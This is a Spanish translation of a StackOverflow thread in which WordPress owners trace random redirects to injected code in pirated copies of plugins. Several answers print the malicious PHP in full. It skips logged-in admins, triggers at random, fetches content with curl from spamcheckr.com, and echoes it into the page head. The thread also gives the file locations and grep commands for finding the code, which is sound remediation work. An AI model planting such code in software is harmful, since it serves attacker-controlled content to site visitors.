Blog de WordPress infectado con la metaetiqueta HTML Refresh

6 minutos de lectura

avatar de usuario
cris k

Hola comunidad de StackOverflow. Tengo una infección muy interesante (en mi opinión) para compartir con ustedes hoy.

Hace 4-5 días me di cuenta de que la página de inicio de mi blog después de unos segundos de carga fue redirigida a otra página. Específicamente a youtube, en un video de Justin Bieber. Pensé que era un problema de mi computadora, así que busqué virus y malware. Pero no fue mi culpa.

Finalmente estuve seguro de que no era un problema local porque Google pagespeed insights tenía el mismo resultado.

Entonces, después de muchas horas de investigación (y algunos teclados rotos) descubrí esas pistas. En detalles:

Se creó una metaetiqueta dentro de mi encabezado similar a esta:

<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">

Primero, deshabilité todos mis complementos pero sin resultado. Después de un tiempo, el problema seguía ahí. En segundo lugar, busqué en todas las tablas de mi base de datos para averiguar si la URL del video estaba incluida en alguna parte, pero no fue así. Luego busqué en mi editor de plantillas uno por uno los archivos php, pero nada. .htaccess también fue claro (no estoy 100% seguro de lo que estaba buscando allí, pero creo que no había nada sospechoso).

Después de todo esto, descargué a través de FTP todo mi sitio y busqué dentro de cada archivo esta URL. Descubrí que estaba incluido en algunos archivos HTML de la carpeta CACHE. Yo uso W3 Total Cache para ese propósito. Eliminé toda la carpeta de caché, pero después de un tiempo el problema seguía ahí.

El hecho divertido aquí es que este “virus” no siempre está activo. Aparece al azar, en una página diferente cada vez. También esta noche me di cuenta de que apareció en una segunda computadora, al mismo tiempo que todo se veía bien en mi computadora.

La URL del vídeo de Youtube es: http://www.youtube.com/watch?v=RFngSCaY5nA

Entonces mi pregunta es: ¿Alguien de ustedes tiene una solución para recomendar antes de eliminar toda la instalación y comenzar desde el principio? ¿Alguien más tuvo el mismo problema conmigo en el pasado?

Creo que eso es todo lo que tengo para compartir. Perdón por la extensión del post, traté de ser lo más detallado posible. No soy bueno programando, este es mi primer intento de ejecutar un sitio de WordPress, por lo que podría haber algo que olvidé.

Gracias por adelantado.

avatar de usuario
Destripador de sistemas

Tengo el mismo problema y creo que encontré la solución! Verifique los archivos de su sitio para este enlace: http://spamcheckr.com/l.php
Encontré este enlace en el plugin formcraft.

Me gusta esto:

if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

Editado:
También verifique esto: http://spamcheckr.com/req.php

  • ¡SÍ! Encontré el mismo código en el mismo complemento… ¡Tenemos que tener cuidado con las fuentes de descarga de nuestros complementos…! Revisé mi sitio varias veces, incluso desde escritorios remotos, y todo parece normal. ¡Lo haré algunas veces más y luego obtendrás la marca de verificación verde! ¡Gracias por su respuesta!

    – Chris K.

    8 de abril de 2014 a las 8:07

  • Eliminé ese código, borré ese caché también, pero nuevamente se redirige después de un tiempo. Chico, ¡parece que se golpeó en alguna parte!

    – Srihari Karanth

    16 de junio de 2014 a las 16:59

He encontrado este script en el Complemento wordpress fooboxV2. (FooBox)
La URL oficial del complemento es http://fooplugins.com/plugins/foobox/

Esta es la ruta del archivo de script
/wp-content/plugins/fooboxV2/includes/foolic_class.php

Puede ver que se comentan secuencias de comandos completas. Pero encontré este código en ese código comentado.

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>

  • Soy el desarrollador de FooBox y el archivo /wp-content/plugins/fooboxV2/includes/foolic_class.php no forma parte del complemento oficial de FooBox. Entonces, parece que la versión de FooBox que está ejecutando no es el complemento oficial de fooplugins.com, sino una versión modificada a la que alguien agregó un código de inyección de spam.

    – Vinnie

    8 de julio de 2014 a las 17:17

  • Sí, tenía una duda al respecto. Debido a que descargué este complemento de sitios web no oficiales y todos son iguales e inyectados con este código. En realidad, pensé que lo agregó el propietario. es mejor que pueda aumentar la seguridad de este complemento contra los piratas informáticos. Gracias de nuevo.

    – Sumith Harshan

    10 de julio de 2014 a las 6:27

Si está utilizando una versión anulada de Gravity Forms, también puede tener este problema de redirección. Para resolver el problema, vaya a /plugins/gravityforms/settings/setting.php y elimine el siguiente código:

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>

Buena suerte.

Buena respuesta arriba. Para agregarlo, recomiendo usar grep a cualquiera que tenga problemas para buscar el código:

grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content

Si no tiene grep y no puede acceder a su servidor (usuarios de Windows), descárguelo o use findstr :

findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content

(No olvide cambiar /www/wordpress/wp-content a la ubicación de sus carpetas de wordpress

También lo encontré. En mi caso, estaba usando un complemento aparentemente anulado (que no me di cuenta). Se llama woocommerce-checkout-field-editor y estaba inyectando un enlace a un video de YouTube de Justin Bieber.

La función se ve así y está oculta en \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php:

if (mt_rand(0,99) == 1) {
function sec_check() {
    if(function_exists('curl_init'))    
    {
        $url = "spamcheckr.com/req.php";
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
    }
}
add_action('wp_head','sec_check');

}

Como podemos ver, solo muestra el spam cuando una función aleatoria llega a ‘1’. Luego, cortésmente pregunta si curl está instalado y luego envía una simple solicitud GET al servidor de spam para ver qué código debe inyectar.

El sitio es spamcheckr.com.

Luego se agrega al encabezado de WordPress y redirige al espectador de la página.

Informé el sitio a su anfitrión y veamos qué sucede.

¿Ha sido útil esta solución?

Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos y para mostrarte publicidad relacionada con sus preferencias en base a un perfil elaborado a partir de tus hábitos de navegación. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Configurar y más información
Privacidad